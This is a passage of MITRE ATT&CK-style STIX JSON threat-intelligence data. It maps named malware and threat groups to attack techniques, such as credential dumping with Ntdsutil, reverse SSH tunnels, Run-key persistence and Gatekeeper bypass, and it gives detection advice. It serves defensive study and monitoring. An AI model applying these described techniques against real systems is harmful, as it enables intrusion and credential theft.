["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5fb6065d-398f-4655-9c57-cc4174f7a1a9", "created": "2022-07-08T13:52:44.803Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). 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Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can use legitimate OAuth refresh tokens to authenticate with OneDrive.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-09T15:16:54.816Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5fbeeb2a-e658-40fa-834c-68430bafbc4f", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Savill 1999", "description": "Savill, J. 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Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Chrommme](https://attack.mitre.org/software/S0667) can store captured system information locally prior to exfiltration.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T18:42:54.934Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--579607c2-d046-40df-99ab-beb479c37a2a", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5fdc377d-9d14-4b2c-a039-e8123c119b85", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "Monitor for processes being viewed that may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges.", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5fdd0fba-8d1d-411a-b47b-3e5aae512892", "type": "relationship", "created": "2020-05-27T13:22:06.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. 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Retrieved December 17, 2020."}], "modified": "2020-12-17T18:57:21.258Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Ntdsutil to dump credentials.(Citation: Symantec Cicada November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60026624-0ae9-439a-8ee8-faee7ce6ddf0", "type": "relationship", "created": "2019-05-29T14:33:43.929Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 Jan 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", "description": "Schwarz, D. and Proofpoint Staff. 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Retrieved May 28, 2019."}], "modified": "2019-06-07T20:33:39.592Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.(Citation: Proofpoint TA505 Jan 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--608ecdef-db04-419b-b453-0aeb538c7093", "type": "relationship", "created": "2021-05-04T15:59:21.049Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2021-06-02T20:40:33.899Z", "description": "[LiteDuke](https://attack.mitre.org/software/S0513) can create persistence by adding a shortcut in the <code>CurrentVersion\\Run</code> Registry key.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--95e2cbae-d82c-4f7b-b63c-16462015d35d", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--60988a82-9b9f-4e52-899b-f17dee1af53e", "created": "2022-06-09T18:55:51.529Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T18:55:51.529Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60989b47-4725-4077-8aed-fb5f990fda22", "type": "relationship", "created": "2020-03-19T16:21:36.690Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/", "source_name": "Cyber Forensicator Silence Jan 2019"}], "modified": "2020-06-23T20:30:07.122Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has used JS scripts.(Citation: Cyber Forensicator Silence Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--609a0483-ac4a-49d6-bc5d-3cb0ff6e8a97", "created": "2023-02-08T00:10:57.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T16:12:42.863Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) has used XOR-based encryption for collected files before exfiltration.(Citation: SentinelLabs Metador Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--609d3d8c-1995-43ef-a102-a39d668a774d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-21T00:06:06.278Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) encrypts C2 traffic using RC4 with a static key.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60a46293-ec9e-4931-8315-03b4f68c2e74", "type": "relationship", "created": "2019-04-23T16:24:46.234Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}], "modified": "2021-01-25T15:43:46.034Z", "description": "[HTRAN](https://attack.mitre.org/software/S0040) can inject into into running processes.(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60a61381-266d-446c-98d2-4acebfcd3c2a", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Consider monitoring for modifications made to Registry keys associated with code signing policies, such as <code>HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing</code>. Modifications to the code signing policy of a system are likely to be rare.", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--60a6f8ce-1ee6-4770-8d83-9c2717d53fc3", "created": "2021-09-14T01:44:33.178Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Carbon Black Shlayer Feb 2019", "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"}, {"source_name": "Shlayer jamf gatekeeper bypass 2021", "description": "Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.", "url": "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"}, {"source_name": "objectivesee osx.shlayer apple approved 2020", "description": "Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.", "url": "https://objective-see.com/blog/blog_0x4E.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T20:59:09.530Z", "description": "If running with elevated privileges, [OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the <code>spctl</code> command to disable Gatekeeper protection for a downloaded file. [OSX/Shlayer](https://attack.mitre.org/software/S0402) can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. [OSX/Shlayer](https://attack.mitre.org/software/S0402) has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Shlayer jamf gatekeeper bypass 2021)(Citation: objectivesee osx.shlayer apple approved 2020)", "relationship_type": "uses", "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", "target_ref": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60b233c6-0ee4-4312-8edf-eda18ab9b879", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor newly executed processs for sdbinst.exe for potential indications of application shim abuse. \nThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Black Hat 2015 App Shim", "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60b2b967-6481-4842-9904-547a7c626ea6", "type": "relationship", "created": "2019-06-18T18:40:33.811Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "source_name": "Flashpoint FIN 7 March 2019"}], "modified": "2020-03-17T13:47:02.025Z", "description": "[SQLRat](https://attack.mitre.org/software/S0390) relies on users clicking on an embedded image to execute the scripts.(Citation: Flashpoint FIN 7 March 2019)", "relationship_type": "uses", "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60b2c702-e2f4-47fd-a009-3ba561bceeb8", "type": "relationship", "created": "2021-02-08T21:24:53.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}, {"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T18:04:49.130Z", "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) can inject web shell code into a server.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ", "relationship_type": "uses", "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60b62d1a-c6f2-4105-97fd-40194442a4c3", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60bab055-6927-4240-8716-6218dc131aa9", "type": "relationship", "created": "2019-01-30T19:18:20.194Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro MacOS April 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."}], "modified": "2020-06-23T20:11:11.926Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses Word macros for execution.(Citation: TrendMicro MacOS April 2018)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60be159a-b083-48c2-bd38-4abb873d1f30", "type": "relationship", "created": "2021-01-28T15:58:09.536Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT Sidewinder January 2021", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}, {"source_name": "Rewterz Sidewinder APT April 2020", "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."}, {"source_name": "Rewterz Sidewinder COVID-19 June 2020", "url": "https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19", "description": "Rewterz. (2020, June 22). Analysis on Sidewinder APT Group \u2013 COVID-19. Retrieved January 29, 2021."}], "modified": "2021-07-21T12:13:30.253Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used HTTP in C2 communications.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60c1b489-f1fc-4568-aba0-54e932715abc", "type": "relationship", "created": "2019-01-29T18:44:05.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html", "source_name": "Talos Agent Tesla Oct 2018"}, {"source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}, {"source_name": "SentinelLabs Agent Tesla Aug 2020", "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}], "modified": "2020-12-11T22:07:41.518Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has routines for exfiltration over SMTP, FTP, and HTTP.(Citation: Talos Agent Tesla Oct 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--60c352ec-eb4c-451a-a56e-43a9dc4ee91f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ASERT InnaputRAT April 2018", "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. 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(2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}, {"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. 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(2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. 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(2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "modified": "2021-11-12T20:46:32.071Z", "description": "(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--614da3bc-3be9-408c-8154-8a121d4b8895", "created": "2023-09-26T20:51:28.487Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. 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(2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"}, {"source_name": "Secureworks IRON RITUAL USAID Phish May 2021", "description": "Secureworks CTU. (2021, May 28). USAID-Themed Phishing Campaign Leverages U.S. Elections Lure. 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(2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", "source_name": "Dell Lateral Movement"}], "modified": "2019-05-30T18:05:32.850Z", "description": "[APT18](https://attack.mitre.org/groups/G0026) actors deleted tools and batch files from victim systems.(Citation: Dell Lateral Movement)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6176ae5b-cd96-4b15-8539-5fb6e230fd5d", "type": "relationship", "created": "2020-06-01T15:28:39.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}], "modified": "2020-10-22T01:34:58.105Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has embedded a \"vmdetect.exe\" executable to identify virtual machines at the beginning of execution.(Citation: Medium Metamorfo Apr 2020) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--617a2fc2-b58f-4074-bef7-afce7615c6f3", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for changes made to the .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources ", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, 